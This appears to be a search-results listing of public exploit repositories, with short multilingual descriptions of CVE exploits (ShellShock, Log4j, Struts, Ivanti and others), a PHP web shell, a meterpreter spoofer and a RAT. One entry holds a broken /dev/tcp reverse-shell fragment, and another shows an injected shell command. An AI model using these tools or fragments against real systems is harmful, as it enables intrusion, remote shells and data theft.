34323 matches found
BadBash
BadBash CVE-2014-6271 ShellShock RCE PoC-Werkzeug ======= BadBash ist ein CVE-2014-6271 RCE Exploit-Werkzeug. Die Basisversion überprüft nur die HTTP CGI-Seite und bietet nur eine netcat Reverse-Shell auf Port 1234. Entwickler : Andy Yang Version : 0.1.0 Lizenz : GPLv3 Original GitHub-Projekt :...
citrixInspector
CVE-2023-3519 Inspector Il cve20233519inspector.py è uno scanner di vulnerabilità basato su Python per rilevare la vulnerabilità CVE-2023-3519 nei Citrix Gateway. Esegue un'analisi passiva e fingerprinting dei siti web target per valutare la loro vulnerabilità basandosi su una serie di controlli...
log4j-rce-test
Compilazione ./build.sh Avvia il server log4j RCE ./start-log4j-rce-server.sh Test Esegui java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Controlla se ottieni log in hack.log dalla cartella corrente Puoi modificare questa riga String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + "...
CVE-2019-0193-exp
CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...
casper-shell
🦇 Casper@shell: - Web Shell PHP Avanzata Casper@shell: è una versione potenziata e più user-friendly della shell p0wny, con molte nuove funzionalità. Questa versione mira a essere più utile per eseguire rapidamente ricognizioni, esfiltrazioni o distribuire meccanismi di persistenza. ✨...
cve-2022-1388-1veresk
CVE-2022-1388 por 1vere$k CVE-2022-1388 la prueba de concepto. Dos regímenes de trabajo con: URL objetivo simple, el PUERTO predeterminado será 80 si no se menciona; archivo con lista de objetivos : \n\r; Usage root@kitploit: echo...
JoomlaCVE20168869
Exploit für Joomla 3.4.4 - 3.6.4 CVE-2016-8869 und CVE-2016-8870 mit File-Upload-Webshell Dies ist ein PHP-Port, der ursprüngliche Python-Quellcode bereitgestellt von @link https://github.com/XiphosResearch/exploits/tree/master/Joomraa Verwendung: php exploit.php --username hacker -p password -e...
CVE-2017-17562
CVE-2017-17562 RCE GoAhead server web 2.5 3.6.5 Exploit standalone in Python 3 per reverse shell per CVE-2017-17562, funziona sulle versioni 2.5 3.6.5 del server web GoAhead. Articolo del blog qui. Scritto e testato su Python 3.7 sulla base di POC e ambiente vulnerabile qui. Parte del codice è...
CmdLineSpoofer
Spoofer della riga di comando Un esempio di utilizzo di C per iniettare una shell meterpreter, mentre si spoofa la riga di comando. La riga di comando è memorizzata nel Process Environment Block, viene registrata quando un nuovo processo viene avviato e viene visualizzata in strumenti come Proces...
HAFNIUM-Microsoft-Exchange-0day
Risorse interessanti CheckMyOWA Cos'è? Abbiamo creato questo sito per facilitare la notifica alle vittime basata su elenchi di server Exchange compromessi con Outlook Web Access OWA abilitato, ottenuti dai responsabili di questo evento di violazione di massa. Include IP/dominio interessati, nonch...
CVE-2021-31762
CSRF-to-RCE ..| CVE-2021-31762 |.. Descrição : Explorando um ataque de Cross-site request forgery CSRF para criar um usuário privilegiado através do recurso de adicionar usuários do Webmin, obtendo então um shell reverso através do recurso de processos em execução do Webmin Versão Testada : Webmi...
CVE-2024-48990-Exploit
CVE-2024-48990 शोषण इस N-day को पुनः खोजने और इसके लिए अपना स्वयं का शोषण बनाने का मेरा पूरा विवरण मेरे ब्लॉग पर पाया जा सकता है। मूलतः, आप इस रिपॉजिटरी को एक हमलावर-नियंत्रित निर्देशिका में git clone कर सकते हैं, export PYTHONPATH= सेट कर सकते हैं, और फिर उस PYTHONPATH मान के साथ main.py चला सकत...
CVE-2017-7494
CVE-2017-7494 CVE-2017-7494 C poc Utilizza CVE-2017-7494 per ottenere una reverse shell 1. Prima compila sambainit.c per generare libsamba.so 2. Modifica gli indirizzi correlati in isknownpipename.c, compila ed esegui...
Struts-Apache-ExploitPack
Struts-Apache-ExploitPack ये कुछ स्क्रिप्ट हैं जिनका उपयोग आप Apache Struts भेद्यता CVE-2017-5638 का पता लगाने और उसका शोषण करने के लिए कर सकते हैं। MassScanner और Exploiter उपलब्ध हैं, आप URL की सूची को मास स्कैन करने के लिए स्कैनर का उपयोग कर सकते हैं और फिर Exploiter द्वारा उनका शोषण कर सकते...
CVE-2025-5781
Exploit FreePBX CVE-2025-57819 Descrizione Questo script sfrutta una vulnerabilità nelle versioni di FreePBX precedenti alla 16.0.26.0 CVE-2025-57819, consentendo a un attaccante remoto di eseguire codice PHP arbitrario tramite una falla di SQL injection nell'endpoint API AJAX. L'exploit crea sia...
CVE-2022-22963-POC
Exploit CVE-2022-22963 Descrizione Nelle versioni di Spring Cloud Function 3.1.6, 3.2.2 e versioni precedenti non supportate, quando si utilizza la funzionalità di routing è possibile che un utente fornisca uno SpEL appositamente modificato come routing-expression che può comportare l'esecuzione ...
CrestCrack
CrestCrack CrestCrack è uno script semplice che sfrutta CVE-2016-5640 / CLVA-2016-05-002 all'interno del Crestron AirMedia AM-100 v1.1.1.11 - v1.2.1. Quando vengono forniti argomenti, CrestCrack utilizzerà netcat per creare una reverse shell tra il tuo target e un listener netcat di tua scelta...
ivanti_shell
CVE-2024-21887 का Ngrok रिवर्स शेल के साथ शोषण यह रिपॉजिटरी एक Python स्क्रिप्ट प्रदान करता है जो Ivanti Connect Secure गेटवेज़ में CVE-2024-21887 भेद्यता के शोषण को प्रदर्शित करने के लिए डिज़ाइन किया गया है। यह शैक्षिक और नैतिक परीक्षण उद्देश्यों के लिए एक रिवर्स शेल स्थापित करने के लिए Ngrok का...
XeytanWxCpp-RAT
AVVERTENZA QUESTO PROGETTO È ANCORA NELLE PRIME FASI DI SVILUPPO. IN QUESTO MOMENTO, L'APPLICAZIONE HA UN ASPETTO ORRIBILE, C'È UN BUG STRANO PRIMO PUNTO TODO, VEDI SOTTO CHE DEVE ESSERE CORRETTO AL PIÙ PRESTO. Introduzione Applicazione RAT scritta in C++ utilizzando il framework wxWidgets...